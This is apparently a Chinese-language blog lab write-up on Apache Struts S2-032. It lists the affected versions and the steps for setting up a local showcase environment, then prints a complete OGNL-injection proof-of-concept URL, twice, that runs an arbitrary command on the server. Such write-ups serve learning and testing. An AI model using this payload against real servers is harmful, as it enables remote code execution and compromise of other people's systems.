Struts-S2-032漏洞利用(含环境搭建、含POC)

Struts –s2-32

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://www.cnblogs.com/mrchang/p/6501428.html
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-032

二、 影响版本:

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

三、 漏洞介绍:

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method: Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。.

四、 环境搭建:

  • 参考网址:
    http://netsecurity.51cto.com/art/201707/544837.htm

  • 下载/struts/2.3.24

下载地址:http://archive.apache.org/dist/struts/2.3.24/
百度云链接:链接:http://pan.baidu.com/s/1dFeUyNv 密码:279t

  • 下载安装xampp

  • 部署showcase

1.png
  • 解压
Struts-S2-032漏洞利用(含环境搭建、含POC)_第1张图片
2.png
  • 复制到
3.png

重启tomcat


Struts-S2-032漏洞利用(含环境搭建、含POC)_第2张图片
4.png
  • 已成功自动部署
Struts-S2-032漏洞利用(含环境搭建、含POC)_第3张图片
5.png
  • 访问http://127.0.0.1:8080/struts2-showcase/index.action
  • 将struts.xml修改
1.png

搭建linux环境建议使用参考网站的docker环境

五、 POC:

?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

六、 测试网址:

原始网址:

http://127.0.0.1:8080/struts2-showcase/home.action

修改后网址:

http://127.0.0.1:8080/struts2-showcase/home.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

七、执行结果

2.png

八、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-032漏洞利用(含环境搭建、含POC))